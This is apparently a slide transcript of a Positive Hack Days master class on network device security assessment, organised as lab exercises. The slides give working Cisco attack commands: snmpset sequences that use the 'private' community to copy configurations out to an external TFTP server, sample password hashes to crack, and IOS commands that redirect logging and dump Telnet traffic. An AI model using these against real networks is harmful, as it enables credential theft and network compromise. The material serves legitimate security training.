30
Master class «Analysis of network infrastructure security» Sergey Pavlov Positive Technologies

Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Embed Size (px)

DESCRIPTION

A participant will acquire basic skills of searching for vulnerabilities on switches and routers from various vendors. The masterclass will cover both common network vulnerabilities, and exceptive cases that can be detected in the process of security assessment of real networks.

Citation preview

Page 1: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Master class«Analysis of network infrastructure

security»

Sergey Pavlov

Positive Technologies

Page 2: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Introduction

DMZ

Internet

Branch

User networks

Server networks

Network hub

Page 3: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Laboratory work

Scanning

SNMP default community strings

Management accounts for Telnet and SSH

Network device default settings

Event logging

VPN

Summary

Page 4: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Part 1. Scanning

Attacker always use scanning as a first step to collect available services

The information can be used to:• bruteforce accounts and passwords• detect service versions

Page 5: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Practical task (1)

Start virtual machine

Scan a specified port of the network device via NMap software.

Page 6: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Part 2: SNMP default community strings

Page 7: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

SNMPv1/2

Privileges in SNMP

• Read-only – this mode is used only to monitor the device, and not to manage it.

• Read-write is used for device monitoring and managing.

Here is an example of SNMP community string bruteforce via SNSCAN utility (McAfee):

Page 8: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Copy configuration file via SNMP

TFTP server

snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 integer 1snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 integer 4snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 integer 1snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 address <TFTP server address>.snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 string victim-config

snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 1

///Copy file configuration (starup-config) //back to the devicesnmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.670 integer 1snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.670 integer 1snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.670 integer 3snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.670 address <TFTP server address>.snmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.670 string victim-configsnmpset -v 1 -c private <device name> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.670 integer 1//Device reload to apply changes

Page 9: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Practical task (2)

Enable TFTP server

Bruteforce SNMP password

Copy configuration file to TFTP server

Page 10: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Part 3. Management accounts for Telnet and SSH

Page 11: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Privilege types

Default privileges• User has limited privileges (level 1) to execute basic

commands

High privileges

• «enable» (level 15) password is needed to gain privileges on Cisco devices

Page 12: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

User password types

Without encryption• username cisco password 0 cisco

Weak encryption• username admin password 7 104F0D140C1953

There are a number of utilities used for restoring, for example, Cain&Abel. Restoring takes split seconds.

Password hash• enable secret 5 $1$1lSz$k.iGUgWvgxm27iJ/vaBfK0

Bruteforce is used for restoring via the following software: Cain&Abel, PasswordPro, John the Ripper, etc. Restoring time unpredictable period of time.

Page 13: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Practical task (3)

Restore “admin” user password

Restore enable password

Page 14: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Part 4. Network device default settings

Page 15: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Examples

Often, device configuration includes default values. We do not notice them, but they exist ;)

• If aaa new-model is enabled, the following values are used: aaa authentication login default local – for vty aaa authentication login default none – for con

• HTTP server does not depend on “AAA” service and uses “enable” password by default

Page 16: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Practical task (4)

Enter “AdMIn” instead of “admin” to login the device via Telnet

Login the device via HTTP using enable password only

Create new user via web interface

Check that new user can login via Telnet

Page 17: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Part 5. Event logging. GOOD or BAD?

Page 18: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Регистрация событий помогает:

• Искать неисправности в сети• Обнаруживать попытки НСД• Контролировать изменения конфигураций, устройств

НО! Регистрация событий может играть и негативную роль:

• При добавлении нового сервера регистрации в конфигурацию, злоумышленник получает те же данные, что и администратор сети

• Служба регистрации позволяет перехватить учетные записи и пароли пользователей в проходящем через устройство трафике

Функции регистрации событий

Page 19: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Add new event logging server

Add new serverMC#conf tMC(config)#logging 192.168.123.4

Delete the others…. to prevent interference ;)MC#conf tMC(config)#no logging 1.2.3.4

Page 20: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Unable to catch traffic?! But if you really want? … You can

MC#conf tMC(config)#logging trap 7MC(config)#access-list 122 permit tcp any any eq telnetMC(config)#endMC#debug ip packet 122 detail dump

New events are interesting but device traffic is also interesting, especially not-encrypted traffic. You can use You can use Cisco IOS undeclared features.

Page 21: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Practical task (5)

Enable logging server

Add new logging server on a network device

Log Telnet service traffic

Page 22: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Part 6. VPN

Page 23: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Why do I need VPN?

Only boundary devices are available from public networks without VPN.

VPN allows you to access services that are usually blocked by providers, for example, 445/TCP.

Network devices do not support all popular services. For example, it is impossible to start RDP session from a mobile device.

Page 24: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

VPN types

GRE is a tunnel protocol that do not provide encryption. Its main aim is to encapsulate network level packets into IP packets.

L2TP is a tunnel protocol that do not provide encryption and confidentiality. It is based on an encapsulated protocol used to provide confidentiality.

PPTP is a tunnel protocol of PTP type. It allows to create tunnels for data exchange.

IPSEC allows you to confirm identity and/or to encrypt IP packets.

Page 25: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

PPTP configuration example

aaa new-modelaaa authentication ppp default localvpdn enable!vpdn-group 1! Default PPTP VPDN group accept-dialin protocol pptp virtual-template 1 local name tunnel!interface Virtual-Template1 ip unnumbered FastEthernet0/1 ip mroute-cache peer default ip address pool default ppp encrypt mppe auto ppp authentication ms-chap!ip local pool default 1.1.1.10 1.1.1.100

Page 26: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Practical task (6)

Configure PPTP, connect to the device

Test if 1.1.1.1 host is available

Page 27: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Summary

Page 28: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Summary

Do not leave network devices without control, as if compromised, they allow attackers to manipulate the whole network

Use best practices for network device security settings

Use complex network device protection

Keep monitoring of network security

Page 29: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Additional data and links

SNMPv1/2 scanningSNSCAN

Hydra

Copy configuration via SNMP

PPTP configuration

BackTrack distribution kit

Page 30: Positive Hack Days. Pavlov. Network Infrastructure Security Assessment

Thank you for your attention!

[email protected]